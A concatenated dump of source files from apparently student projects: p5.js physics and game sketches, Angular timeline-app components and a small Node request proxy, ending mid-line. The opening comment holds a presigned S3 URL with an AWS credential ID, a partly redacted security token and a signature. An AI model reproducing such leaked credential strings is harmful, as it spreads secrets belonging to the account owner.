//https://ideagengcu.s3.eu-west-1.amazonaws.com/Team15/889f273a-973d-4fce-8a87-9d22f0fb0190?X-Amz-Expires=900&x-amz-security-token=<PASSWORD>%2B<PASSWORD>odch0JBxA6mHhgXAs5SYfyrlOI%2BfTvl%2BnjImXpK4pf5xRhjMLCdlMuxpqsWXjMTdgOsStFT7QDOtblPNd2CvK21ozY1YFiGljSUesCm9kET0bKd4unSHEMTs7PirrW2kPSGa0MexlY2pWZpu4lrtgem8b7va17SKjYxFAqo7nF35ToTXQV6fJURVZWP3hRlZ4tutLYLahRpYB%2B21eA9rWbX%2FE%2B0VhwCrt6WEswCkU4RmHXfNPRn9ofJx3EsQYu2<PASSWORD>A5HhYxxl7jKb5WDKJyc5dQF&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAJJYZZ5XIX4T3BKMA/20180302/eu-west-1/s3/aws4_request&X-Amz-Date=20180302T144437Z&X-Amz-SignedHeaders=host;x-amz-security-token&X-Amz-Signature=7c51e8d443be62c116eb749de88f42b38e6e07ca3324c357c696909018faf42d app.use('/', function(req, res) { var url = 'https://gcu.ideagen-development.com' + req.url; console.log(url); req.pipe(request(url)).pipe(res); }); app.listen(process.env.PORT || 3000); console.log('Server running on port 3000');<file_sep>/HNDGradedUnit/js/extras/rotation/baton/sketch.js var loc; var rot; function setup() { createCanvas(400,250); loc = createVector(width/2, height/2); rot = 0; } function draw() { background(255); strokeWeight(3); stroke(0); fill(200); push(); translate(loc.x, loc.y); rotate(radians(rot)); line(-50,0,50,0); ellipse(-50, 0, 20, 20); ellipse(50,0,20,20); pop(); rot+=3; }<file_sep>/HNDGradedUnit/js/extras/walkers&movers/firstWalker/walker.js function Walker() { this.x = width/2; this.y = height/2; this.choice; this.display = function() { stroke(0); point(this.x, this.y); } this.step = function() { this.choice = random(4); if(this.choice >= 0 && this.choice <= 1) { this.x++; } else if (this.choice >= 1 && this.choice <= 2) { this.x--; } else if (this.choice >= 2 && this.choice <= 3) { this.y++; } else { this.y--; } } }<file_sep>/HNDGradedUnit/js/extras/flappyBird/sketch.js var bird; var pipes = []; var score; var freeze = false; var y = 0; function setup() { createCanvas(400,600); bird = new Bird(); pipes.push(new Pipe()); score = 0; } function draw() { background(150,200,255); for(var i = pipes.length-1; i >= 0; i--){ pipes[i].show(); pipes[i].update(); if(pipes[i].hits(bird)) { freeze = true; pipes[i].stopped(); fill(255,0,0); stroke(255); textSize(24); text("Game over!",width/2-100, height/2-100, 200, 200); fill(255); textSize(16); text("Press R to retry!", width/2-100, height/2,200,200); } if(pipes[i].passed(bird)) { score++; } if(pipes[i].offscreen()) { pipes.splice(i, 1); } } bird.show(); bird.update(); noStroke(); fill(255); textSize(12); text("Score: "+score, 25, 50); if(frameCount % 50 === 0 && freeze === false) { pipes.push(new Pipe()); } } function keyPressed() { if(key == ' ' && freeze === false) { bird.up(); console.log("SPACE"); } if(key == 'R' && freeze == true) { score = 0; for(var i = 0; i < pipes.length; i++) { pipes.splice(i); } bird.y = width/2; console.log("retry"); freeze = false; } }<file_sep>/IntegratedProject/src/app/component/tree-part/tree-part.component.ts import { Component, Input, ViewChild, ViewChildren, ElementRef, OnInit, OnDestroy } from '@angular/core'; import { trigger, state, transition, animate, style, keyframes } from '@angular/animations'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service'; import { EventService } from '../../service/event/event.service'; import { TimelineService } from '../../service/timeline/timeline.service'; import { AttachmentService } from '../../service/attachment/attachment.service'; import { MatSnackBar } from '@angular/material'; import { FeedbackComponent } from '../../component/feedback/feedback.component'; import { SelectionModel } from '@angular/cdk/collections'; import { LangService } from '../../service/lang/lang.service' import { DialogCreateEventComponent } from '../../component/dialog-create-event/dialog-create-event.component'; import { DialogConfirmComponent } from '../../component/dialog-confirm/dialog-confirm.component'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material'; import { Observable } from 'rxjs/Rx'; import { HttpEventType,HttpResponse } from '@angular/common/http'; @Component({ selector: 'app-tree-part', templateUrl: './tree-part.component.html', styleUrls: ['./tree-part.component.scss'] }) export class TreePartComponent implements OnInit, OnDestroy { @Input() timelineId; @Input() componentEvent; public childEvents = []; public panelOpenState; public deleteEventObsSub; public newEventObsSub; constructor( public DataTransferService: DataTransferService, public feedback: MatSnackBar, private EventService:EventService, public LangService: LangService ) {} ngOnInit(){ this.populateChildEvents(); // when new event is added to timeline if it is linked to this event add it to childevents so it displays on screen this.newEventObsSub = this.DataTransferService.activeTimelines[this.timelineId].newEventObs.subscribe( (data)=>{ if(data && this.componentEvent.Id == data.LinkedTimelineEventIds){ if(this.childEvents.includes(data)) return; this.childEvents.push(data) } } ) this.deleteEventObsSub = this.DataTransferService.activeTimelines[this.timelineId].deleteEventObs.subscribe( (eventId)=>{ if(!eventId) return; for (let index = 0; index < this.childEvents.length; index++) { const childEvent = this.childEvents[index]; if(childEvent.Id == eventId){ this.childEvents.splice(index,1); } } } ) } populateChildEvents() { let events = this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents; this.childEvents = []; for (let index = 0; index < events.length; index++) { const event = events[index]; if(event.LinkedTimelineEventIds[0] == this.componentEvent.Id){ this.childEvents.push(event); } } } moveEvent(e) { this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.treePartMoving,progress:true}}); e.preventDefault(); e.stopPropagation(); let linkId = this.componentEvent.Id; if(this.componentEvent.Id == this.DataTransferService.moveData.event['Id']){ linkId = null; } let eventCopy = JSON.parse(JSON.stringify(this.DataTransferService.moveData.event)); eventCopy['LinkedTimelineEventIds'][0] = linkId; this.EventService.editEventTitle(this.DataTransferService.moveData.event['Id'], JSON.stringify(eventCopy)).subscribe( (data)=>{ this.DataTransferService.moveData.event['LinkedTimelineEventIds'][0] = linkId; this.DataTransferService.deleteTimelineEvent(this.timelineId, this.DataTransferService.moveData.event['Id']); this.DataTransferService.addTimelineEvent(this.timelineId, this.DataTransferService.moveData.event); this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.treePartMoved,progress:false}, duration:3500}); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.treePartMoveFail,progress:false}, duration:3500}); }, ()=>{ this.DataTransferService.moveData.moveActive = false; } ); } search(){ let beforeDate = new Date(this.DataTransferService.activeTimelines[this.timelineId].eventBeforeDate).getTime(); let afterDate = new Date(this.DataTransferService.activeTimelines[this.timelineId].eventAfterDate).getTime(); if( !this.DataTransferService.moveData.moveActive// if move isnt active && ( this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm || this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm || this.DataTransferService.activeTimelines[this.timelineId].eventBeforeDate || this.DataTransferService.activeTimelines[this.timelineId].eventAfterDate ) && ( // searching part ( // search for title this.componentEvent.Title.toLowerCase().includes(this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm.toLowerCase()) || typeof this.DataTransferService.activeTimelines[this.timelineId].eventSearchTerm == 'undefined' ) && ( // search for tags JSON.stringify(this.componentEvent.Tags).toLowerCase().includes(this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm) || typeof this.DataTransferService.activeTimelines[this.timelineId].eventTagSearchTerm == 'undefined' ) && ( // check before date beforeDate >= this.componentEvent.EventDateTime || !beforeDate ) && ( // check after date afterDate <= this.componentEvent.EventDateTime || !afterDate ) ) ){ return true; }else{ return false; } } cancelMove() { this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.treePartMoveNot,progress:false}, duration:3500}); this.DataTransferService.moveData.moveActive = false; } stopPropagation(e){// prevents panzoom messing up touch scrolling and other touch things e.stopPropagation(); } ngOnDestroy() { this.deleteEventObsSub.unsubscribe(); this.newEventObsSub.unsubscribe(); } }<file_sep>/HNDGradedUnit/js/extras/walkers&movers/NoiseMover/sketch.js var m; function setup() { //define canvas size createCanvas(windowWidth,250); //create mover object m = new Mover(); } function draw() { //set background color background(255); //call functions on mover object m.update(); m.display(); m.checkEdges(); }<file_sep>/HNDGradedUnit/js/extras/forces/frictionPockets/mover.js function Mover(m) { //initialising the location, acceleration and velocity vectors this.loc = createVector(10,10); this.vel = createVector(0,0); this.acc = createVector(0,0); this.mass = m; //Newton's second law. this.applyForce = function(force) { //REcieve a force, divide by mass, and add to acceleration. this.f = p5.Vector.div(force, this.mass); this.acc.add(this.f); } this.update = function() { //motion 101 - assigning velocity to acceleration, limiting velocity then changing location based on velocity this.vel.add(this.acc); this.vel.limit(this.topspeed); this.loc.add(this.vel); this.acc.mult(0); } this.display = function() { stroke(0); fill(200); //drawing the mover ellipse(this.loc.x, this.loc.y, this.mass*16, this.mass*16); } this.checkEdges = function() { //checks if mover has reached max/min width and if so setting location to opposite side if(this.loc.x > width) { this.loc.x = width; this.vel.x *= -1; } else if (this.loc.x < 0) { this.vel.x *= -1; this.loc.x = 0; } if(this.loc.y > height) { this.vel.y *= -1; this.loc.y = height; } else if (this.loc.y < 0) { this.loc.y = 0; this.vel.y *= -1; } } }<file_sep>/HNDGradedUnit/js/extras/rotation/spaceship/spaceship.js function Spaceship() { this.loc = createVector(width/2, height/2); this.vel = createVector(0,0); this.acc = createVector(0,0); this.mass = 1; this.terminal = 10; this.r = 0; this.theta = 0; this.x = this.r*sin(this.theta); this.y = this.r*cos(this.theta); this.boost = false; this.applyForce = function(force) { this.f = p5.Vector.div(force, this.mass); this.acc.add(this.f); } this.update = function() { this.keyPressed(); this.vel.add(this.acc); this.vel.limit(this.terminal); this.loc.add(this.vel); this.acc.mult(0); } this.keyPressed = function() { if(keyIsPressed && keyCode == LEFT_ARROW) { this.theta+=-0.1; } else if (keyIsPressed && keyCode == RIGHT_ARROW) { this.theta+=0.1; } } this.display = function() { fill(255); push(); translate(this.loc.x, this.loc.y); rotate(this.theta); triangle(-20, 0, 0, -40, 20, 0); if(this.boost == true) { fill(255,0,0); rect(-15, 0, 10, 5); rect(5, 0, 10, 5); } else { fill(255); rect(-15, 0, 10, 5); rect(5, 0, 10, 5); } pop(); } this.checkEdges = function() { if(this.loc.x >=width) { this.loc.x = 0; } else if(this.loc.x <= 0) { this.loc.x = width; } if(this.loc.y >= height) { this.loc.y = 0; } else if(this.loc.y <= 0) { this.loc.y = height; } } }<file_sep>/IntegratedProject/src/app/component/dialog-text-input/dialog-text-input.component.ts import { Component, OnInit, Inject } from '@angular/core'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; import { LangService } from '../../service/lang/lang.service' @Component({ selector: 'app-dialog-create-timeline', templateUrl: './dialog-text-input.component.html', styleUrls: ['./dialog-text-input.component.scss'] }) export class DialogTextInputComponent implements OnInit { public existingText; public suffix; constructor( public thisDialogRef: MatDialogRef<DialogTextInputComponent>, @Inject(MAT_DIALOG_DATA) public data, private _formBuilder: FormBuilder, public LangService: LangService, ) {} ngOnInit() { this.existingText = this.data.existingText || ''; this.suffix = this.data.suffix || ''; this.firstFormGroup = this._formBuilder.group({ textCtrl: [this.existingText, Validators.required] }); } onCloseConfirm() { this.thisDialogRef.close({ confirm: true, text: this.firstFormGroup.value.textCtrl+this.suffix }); } onCloseCancel() { this.thisDialogRef.close({ confirm: false, text: null }); } //figure out what formgroups are firstFormGroup: FormGroup; } <file_sep>/HNDGradedUnit/js/extras/walkers&movers/downAndRightWalker/walker.js function Walker() { this.x = width/2; this.y = height/2; this.display = function() { stroke(0); point(this.x, this.y); } this.step = function() { this.choice = Math.random(); if(this.choice < 0.3) { this.x++; } else if(this.choice < 0.6) { this.y++; } else if(this.choice < 0.8) { this.x--; } else { this.y--; } } }<file_sep>/IntegratedProject/src/app/component/tree-view/tree-view.component.ts import { Component, OnInit, Input } from '@angular/core'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service'; @Component({ selector: 'app-tree-view', templateUrl: './tree-view.component.html', styleUrls: ['./tree-view.component.scss'] }) export class TreeViewComponent implements OnInit { @Input() timelineId; public rootEvents = []; public deleteEventObsSub; public newEventObsSub; constructor(public DataTransferService: DataTransferService) { } ngOnInit() { this.findRootEvents(); // when new event is added to timeline if it is linked to this event add it to childevents so it displays on screen this.newEventObsSub = this.DataTransferService.activeTimelines[this.timelineId].newEventObs.subscribe( (data)=>{ if(data && (data.LinkedTimelineEventIds.length == 0 || data.LinkedTimelineEventIds[0] == null)){ if(this.rootEvents.includes(data)) return; this.rootEvents.push(data) } } ) this.deleteEventObsSub = this.DataTransferService.activeTimelines[this.timelineId].deleteEventObs.subscribe( (eventId)=>{ for (let index = 0; index < this.rootEvents.length; index++) { const event = this.rootEvents[index]; if(event.Id == eventId){ this.rootEvents.splice(index,1); } } } ) } findRootEvents(){ this.rootEvents = []; if(!this.DataTransferService.activeTimelines[this.timelineId]){return} let events = this.DataTransferService.activeTimelines[this.timelineId].TimelineEvents; for (let index = 0; index < events.length; index++) { const event = events[index]; if(event.LinkedTimelineEventIds[0] == null){ this.rootEvents.push(event); } } } /* ---------------------------------------- panzoom ----------------------------------------- */ isMouseDown:boolean = false; mouseDownXPos:number; mouseDownYPos:number; transformX:number; transformY:number; transformScale:number; touchInProgress:boolean; pinchZoomLength:number; treeEle: any; rightEl = document.querySelector("#pane-container"); refreshIntervalId = setInterval(()=>{// cant use recentre here as it breaks for some reason if(document.getElementById(this.timelineId+'-widthGetEle') != null && document.getElementById(this.timelineId+"-pan-zoom") != null) { clearInterval(this.refreshIntervalId); //this.timelineLoading = false; this.treeEle = document.getElementById(this.timelineId+"-pan-zoom"); this.treeEle.style.transformOrigin = '0 0 0'; this.transformScale = 0.6; this.transformX = ((this.rightEl.clientWidth/2) - (document.getElementById(this.timelineId+'-widthGetEle').clientWidth/2)*this.transformScale)-25; this.transformY = (100)*this.transformScale; this.treeEle.style.transform = 'matrix(' + this.transformScale + ', 0, 0, ' + this.transformScale + ', ' + this.transformX + ', ' + this.transformY + ')'; } }, 100); mouseDown(e) { this.mouseDownXPos = e.clientX; this.mouseDownYPos = e.clientY; this.isMouseDown = true; } mouseChange(isMouseDown) { this.isMouseDown = isMouseDown; } wheelMove(e){ e.preventDefault(); let scaleMultiplier; (e.deltaY > 0) ? scaleMultiplier = 0.95 : scaleMultiplier = 1.05; if (scaleMultiplier !== 1) { let newScale = this.transformScale * scaleMultiplier // --------- these lines adjust for offset important -------- // let y = e.clientY - 130; // --------- these lines adjust for offset important -------- // this.transformX = e.clientX - scaleMultiplier * (e.clientX - this.transformX); this.transformY = y - scaleMultiplier * (y - this.transformY); this.transformScale *= scaleMultiplier this.treeEle = document.getElementById(this.timelineId+"-pan-zoom"); this.treeEle.style.transformOrigin = '0 0 0'; this.treeEle.style.transform = 'matrix(' + this.transformScale + ', 0, 0, ' + this.transformScale + ', ' + this.transformX + ', ' + this.transformY + ')' } } touchStart(e){ if (e.touches.length === 1) { e.stopPropagation() e.preventDefault() let touch = e.touches[0] this.mouseDownXPos = touch.clientX this.mouseDownYPos = touch.clientY this.touchInProgress = true; } else if (e.touches.length === 2) { // handleTouchMove() will care about pinch zoom. e.stopPropagation() e.preventDefault() this.pinchZoomLength = this.getPinchZoomLength(e.touches[0], e.touches[1]) } } oldx; oldy; mouseMove(e) { if(this.isMouseDown){ let diffX = e.clientX - this.mouseDownXPos; let diffY = e.clientY - this.mouseDownYPos; this.mouseDownXPos = e.clientX; this.mouseDownYPos = e.clientY; this.transformX = this.transformX + diffX; this.transformY = this.transformY + diffY; this.treeEle = document.getElementById(this.timelineId+"-pan-zoom"); this.treeEle.style.transform = 'matrix(' + this.transformScale + ', 0, 0, ' + this.transformScale + ', ' + this.transformX + ', ' + this.transformY + ')'; } } touchMove(e){ if (e.touches.length === 1) { e.stopPropagation() let touch = e.touches[0] let diffX = touch.clientX - this.mouseDownXPos let diffY = touch.clientY - this.mouseDownYPos if(this.oldx != this.mouseDownXPos || this.oldy != this.mouseDownYPos){ diffX = 0; diffY = 0; } this.oldx = e.touches[0].clientX; this.oldy = e.touches[0].clientY; this.mouseDownXPos = touch.clientX this.mouseDownYPos = touch.clientY this.transformX = this.transformX + diffX; this.transformY = this.transformY + diffY; this.treeEle = document.getElementById(this.timelineId+"-pan-zoom"); this.treeEle.style.transform = 'matrix(' + this.transformScale + ', 0, 0, ' + this.transformScale + ', ' + this.transformX + ', ' + this.transformY + ')'; }else if (e.touches.length === 2) { // it's a zoom, let's find direction var t1 = e.touches[0] var t2 = e.touches[1] var currentPinchLength = this.getPinchZoomLength(t1, t2) var scaleMultiplier = 1 scaleMultiplier = currentPinchLength / this.pinchZoomLength; this.mouseDownXPos = (t1.clientX + t2.clientX)/2 this.mouseDownYPos = (t1.clientY + t2.clientY)/2 // --------- these lines adjust for offset important -------- // let y = this.mouseDownYPos - 100; // --------- these lines adjust for offset important -------- // this.transformX = this.mouseDownXPos - scaleMultiplier * (this.mouseDownXPos - this.transformX); this.transformY = y - scaleMultiplier * (y - this.transformY); this.transformScale *= scaleMultiplier this.treeEle = document.getElementById(this.timelineId+"-pan-zoom"); this.treeEle.style.transform = 'matrix(' + this.transformScale + ', 0, 0, ' + this.transformScale + ', ' + this.transformX + ', ' + this.transformY + ')'; this.pinchZoomLength = currentPinchLength e.stopPropagation() e.preventDefault() } } getPinchZoomLength(finger1, finger2) { return Math.sqrt((finger1.clientX - finger2.clientX) * (finger1.clientX - finger2.clientX) + (finger1.clientY - finger2.clientY) * (finger1.clientY - finger2.clientY)) } setTransform(scale, tranX, tranY){ let refreshIntervalId = setInterval(()=>{ if(document.getElementById(this.timelineId+'-widthGetEle') != null) { clearInterval(refreshIntervalId); this.transformScale = scale; this.transformY = tranY; //this.timelineLoading = false; this.treeEle = document.getElementById(this.timelineId+"-pan-zoom"); if(tranX == 'center'){ this.transformX = ((this.rightEl.clientWidth/2) - (document.getElementById(this.timelineId+'-widthGetEle').clientWidth/2)*this.transformScale)-25; }else{ this.transformX = tranX*this.transformScale; } this.treeEle.style.transformOrigin = '0 0 0'; this.treeEle.style.transform = 'matrix(' + scale + ', 0, 0, ' + scale + ', ' + this.transformX + ', ' + this.transformY + ')'; } }, 100); } switchBackTreeTransform(){ let refreshIntervalId = setInterval(()=>{ if(document.getElementById(this.timelineId+'-widthGetEle') != null) { clearInterval(refreshIntervalId); this.treeEle = document.getElementById(this.timelineId+"-pan-zoom"); this.treeEle.style.transformOrigin = '0 0 0'; this.treeEle.style.transform = 'matrix(' + this.transformScale + ', 0, 0, ' + this.transformScale + ', ' + this.transformX + ', ' + this.transformY + ')' } }, 1000); } stopPropagation(e){// prevents panzoom messing up touch scrolling and other touch things e.stopPropagation(); } }<file_sep>/HNDGradedUnit/js/SmartRockets/Population.js function Population() { //initalising variables this.rockets = []; this.popsize = 25; this.matingpool = []; for (var i = 0; i < this.popsize; i++){ //creates new rockets this.rockets[i] = new Rocket(); } this.evaluate = function() { var maxfit = 0; for (var i = 0; i < this.popsize; i++) { //runs calcFitness on all rockets this.rockets[i].calcFitness(); if (this.rockets[i].fitness > maxfit) { //sets new max fitness if one is found maxfit = this.rockets[i].fitness; } } //logs the array of rockets console.log(this.rockets); for (var i = 0; i < this.popsize; i++) { this.rockets[i].fitness /= maxfit; } this.matingpool = []; for (var i = 0; i < this.popsize; i++) { var n = this.rockets[i].fitness * 100; for (var j = 0; j < n; j++) { this.matingpool.push(this.rockets[i]); } } } this.selection = function() { //creates a new array of rockets based on the parents with higher fitness from prior generation var newRockets = []; for (var i = 0; i < this.rockets.length; i++) { var parentA = random(this.matingpool).dna; var parentB = random(this.matingpool).dna; var child = parentA.crossover(parentB); child.mutation(); newRockets[i] = new Rocket(child); } this.rockets = newRockets; } this.run = function() { for (var i = 0; i < this.popsize; i++) { //runs rockets this.rockets[i].update(); this.rockets[i].show(); } } }<file_sep>/IntegratedProject/src/app/app.module.ts import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { ServiceWorkerModule } from '@angular/service-worker'; import { AppComponent } from './app.component'; import { FormsModule, ReactiveFormsModule } from '@angular/forms'; import { HttpClientModule } from '@angular/common/http'; import { environment } from '../environments/environment'; import { MatMenuModule, MatButtonModule, MatToolbarModule, MatIconModule, MatCardModule, MatInputModule, MatNativeDateModule, MatTableModule, MatCheckboxModule, MatTabsModule, MatExpansionModule, MatFormFieldModule, MatDialogModule, MatStepperModule, MatPaginatorModule, MatProgressSpinnerModule, MatDatepickerModule, MatSortModule, MatSnackBarModule, MatListModule, MatTooltipModule, MatSelectModule, MatChipsModule, MatGridListModule } from '@angular/material'; import { FlexLayoutModule } from '@angular/flex-layout'; import { IdentityBarComponent } from './component/identity-bar/identity-bar.component'; import { LeftPaneComponent } from './component/left-pane/left-pane.component'; import { RightPaneComponent } from './component/right-pane/right-pane.component'; import { FeedbackComponent } from './component/feedback/feedback.component'; import { TreeViewComponent } from './component/tree-view/tree-view.component'; import { TreePartComponent } from './component/tree-part/tree-part.component'; import { DateViewComponent } from './component/date-view/date-view.component'; import { MapViewComponent } from './component/map-view/map-view.component'; import { EventItemComponent } from './component/event-item/event-item.component'; import { DialogTextInputComponent } from './component/dialog-text-input/dialog-text-input.component'; import { DialogConfirmComponent } from './component/dialog-confirm/dialog-confirm.component'; import { DialogCreateEventComponent } from './component/dialog-create-event/dialog-create-event.component'; import { DialogUploadComponent } from './component/dialog-upload/dialog-upload.component'; import { DialogAttachPreviewComponent } from './component/dialog-attach-preview/dialog-attach-preview.component'; import { DialogDownloadComponent } from './component/dialog-download/dialog-download.component'; import { DataTransferService } from './service/data-transfer/data-transfer.service'; import { TimelineService } from './service/timeline/timeline.service'; import { AttachmentService } from './service/attachment/attachment.service'; import { EventService } from './service/event/event.service'; import { LangService } from './service/lang/lang.service'; import { AgmCoreModule } from '@agm/core'; import { AgmSnazzyInfoWindowModule } from '@agm/snazzy-info-window'; import { MAT_MOMENT_DATE_FORMATS, MomentDateAdapter } from '@angular/material-moment-adapter'; import { DateAdapter, MAT_DATE_FORMATS, MAT_DATE_LOCALE } from '@angular/material/core'; @NgModule({ declarations: [ AppComponent, IdentityBarComponent, LeftPaneComponent, RightPaneComponent, FeedbackComponent, EventItemComponent, TreePartComponent, TreeViewComponent, MapViewComponent, DateViewComponent, DialogTextInputComponent, DialogConfirmComponent, DialogCreateEventComponent, DialogUploadComponent, DialogDownloadComponent, DialogAttachPreviewComponent, ], imports: [ BrowserModule, BrowserAnimationsModule, FormsModule, ReactiveFormsModule, HttpClientModule, // service worker for offline operation ServiceWorkerModule.register('/ngsw-worker.js', { enabled: environment.production }), //angular material MatButtonModule, MatMenuModule, MatToolbarModule, MatIconModule, MatCardModule, MatTableModule, MatCheckboxModule, MatTabsModule, MatExpansionModule, MatFormFieldModule, MatInputModule, MatDialogModule, MatStepperModule, MatPaginatorModule, MatProgressSpinnerModule, MatDatepickerModule, MatNativeDateModule, MatSortModule, MatSnackBarModule, MatListModule, MatMenuModule, MatTooltipModule, MatSelectModule, MatChipsModule, MatGridListModule, //angular maps AgmCoreModule.forRoot({ apiKey: '<KEY>' }), AgmSnazzyInfoWindowModule ], providers: [ DataTransferService, TimelineService, EventService, AttachmentService, LangService, { provide: MAT_DATE_LOCALE, useValue: 'en-GB' }, { provide: DateAdapter, useClass: MomentDateAdapter, deps: [MAT_DATE_LOCALE] }, { provide: MAT_DATE_FORMATS, useValue: MAT_MOMENT_DATE_FORMATS } ], bootstrap: [AppComponent], entryComponents: [ DialogTextInputComponent, DialogConfirmComponent, DialogCreateEventComponent, DialogUploadComponent, FeedbackComponent, DialogAttachPreviewComponent, DialogDownloadComponent ] }) export class AppModule { } <file_sep>/HNDGradedUnit/forces.html <!doctype html> <html> <head> <meta charset="utf-8"> <title>JavaScript and The Genetic Algorithm</title> <!--Bootstrap & CSS --> <link href="css/bootstrap.css" rel="stylesheet" type="text/css"> <link href="css/custom.css" rel="stylesheet" type="text/css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script> <script src="js/bootstrap.js" type="text/javascript"></script> </head> <body> <nav class="navbar-fixed-top"> <div class="container-fluid-nav"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <!-- button for collapsed nav --> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#topFixedNav1" aria-expanded="true"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">JS & GA</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="topFixedNav1"> <ul class="nav navbar-nav"> <!-- main links for site --> <li class="navbar-link"><a href="index.html">Home</a></li> <li class="navbar-link"><a href="smartRockets.html">Smart Rockets</a></li> <li class="navbar-link"><a href="asteroids.html">Asteroids</a></li> <li class="active"><a href="extras.html">Extras</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <!-- right nav link for contact --> <li class="right-navbar-link"><a href="contact.html">Contact</a></li> </ul> </div><!-- /.navbar-collapse --> </div><!-- /.container-fluid --> </nav> <!-- main content --> <div class="container-fluid-frame"> <div class="container-fluid-main"> <!-- heading for page --> <h1 class="h1-Apps">Forces</h1> <!-- row used to hold introductory text --> <p class="extras-intro text-center">In this section you will find the apps I felt were most notable as I worked through exercises relevant to forces. By forces I mean a simulation of a force such as wind, gravity, friction or even a force that I've imagined for the purpose of the project. Overall, these exercises helped me gain an understanding of Isaac Newton's second law of physics - acceleration is produced when a force acts upon a mass - hopefully I've chosen the correct examples to show that understanding!</p> <!-- hr for sperating rows --> <hr class="main-hr"> <div class="row" style="width:90%; margin-left:auto; margin-right:auto;"> <!-- column used to hold extra navigation --> <div class="col-md-3"> <ul class="extra-nav"> <li class="extra-link"><a href="extras.html">Extras - Home</a></li> <li class="extra-link"><a href="movers.html">Walkers and Movers</a></li> <li class="extra-active"><a href="forces.html">Forces</a></li> <li class="extra-link"><a href="rotation.html">Rotation</a></li> <li class="extra-link"><a href="noise.html">Perlin Noise</a></li> <li class="extra-link"><a href="misc.html">Misc.</a></li> </ul> </div> <!-- column to hold cannon simulation app--> <div class="col-md-9"> <div class="walker-holder"> <iframe class="cannonSim" src="js/extras/forces/cannonSim/index.html"></iframe> </div> </div> </div> <!-- row to hold text explaining cannon simulation app --> <div class="row" style="width:90%; margin-left:auto; margin-right:auto;"> <p class="extras-full text-center">First off is my favourite application from force exercises, a simple simulation of a cannon shooting a square round. If you hold your mouse down anywhere on the app's window then the cannon will charge it's next shot. Upon releasing the mouse the accumulated force propels the munitions forward. This app also works as an example of <a href="rotation.html">rotation</a>, hence why the rounds are square, making it easier to show a spin, but I think it's still better used as an example of applying force.</p> </div> <!-- hr for sperating rows --> <hr class="main-hr"> <!-- column to hold friction app--> <div class="row" style="width:90%; margin-left:auto; margin-right:auto;"> <div class="walker-holder"> <iframe class="friction" src="js/extras/forces/frictionPockets/index.html"></iframe> </div> </div> <!-- row to hold text explaining friction app --> <div class="row" style="width:90%; margin-left:auto; margin-right:auto;"> <p class="extras-full text-center">Next is an example showing an array of mover objects with a constant wind force pushing them to the right as well as gravity pushing them down. there are two "friction pockets" present in this app. The first friction pocket is at the far left of the canvas, this pocket works the same as real world friction and slows the mover objects down. There is a second pocket around the centre of the canvas which has the opposite force of the first pocket, speeding the mover objects up instead of slowing them.</p> </div> <!-- hr for sperating rows --> <hr class="main-hr"> <!-- column to hold balloon app --> <div class="row" style="width:90%; margin-left:auto; margin-right:auto;"> <div class="walker-holder"> <iframe class="balloon" src="js/extras/forces/heliumBalloon/index.html"></iframe> </div> </div> <!-- row to hold text explaining balloon app --> <div class="row" style="width:90%; margin-left:auto; margin-right:auto;"> <p class="extras-full text-center">Last of all is a simulation of a helium filled balloon floating upwards through the air. There is a wind force generated by Perlin Noise to give the impression of a smooth blowing wind gently pushing the balloon around the sky. There is also an array of clouds in this example which react to the wind force too. </p> </div> </div><!--container-fluid-main--> </div><!--container-fluid-frame--> <!--footer--> <!--intended to hold links but ran out of development time --> <div class="container-fluid-bottom-links"> </div> <!-- div to hold copyright statement --> <div class="footer"> <p class="copyright-state">&copy; <NAME> 2017</p> </div> </body> </html> <file_sep>/HNDGradedUnit/js/asteroids/sketch.js var ship; var asteroids = []; var lasers = []; var score; var gameOver; function setup() { createCanvas(windowWidth, windowHeight); gameOver = false; ship = new Ship(); for(var i = 0; i < 5; i++) { asteroids.push(new Asteroids()); } score = 0; } function draw() { background(0); displayScore(); if(frameCount % 180 == 0 && gameOver == false) { asteroids.push(new Asteroids()); } else if (frameCount % 360 == 0 && gameOver == false) { asteroids.push(new Asteroids()); asteroids.push(new Asteroids()); } for(var i = 0; i < asteroids.length; i++) { if (ship.hits(asteroids[i])) { gameOver = true; } asteroids[i].render(); asteroids[i].update(); asteroids[i].edges(); } for(var i = lasers.length-1; i >= 0; i--) { lasers[i].render(); lasers[i].update(); if(lasers[i].offscreen()) { lasers.splice(i, 1); } else { for(var j = asteroids.length-1; j >= 0 ; j--) { if(lasers[i].hits(asteroids[j])) { if(asteroids[j].r > 10) { var newAsteroids = asteroids[j].breakup(); asteroids = asteroids.concat(newAsteroids); score+= 5; } asteroids.splice(j,1); lasers.splice(i, 1); break; } } } } ship.render(); ship.turn(); ship.update(); ship.edges(); gameOverMenu(); } function displayScore() { if(gameOver == false) { push(); fill(255); text(score, 10,10); pop(); } if(frameCount % 30 == 0 && gameOver == false){ score++; } } function gameOverMenu() { if(gameOver == true) { push(); fill(255); textSize(24); text("Game over!",width/2-100,height/2-300,200,200); textSize(20); text("Final score: "+score,width/2-100,height/2-200,200,200); textSize(16); text("Press R to retry!",width/2-100,height/2-100,200,200); } } function 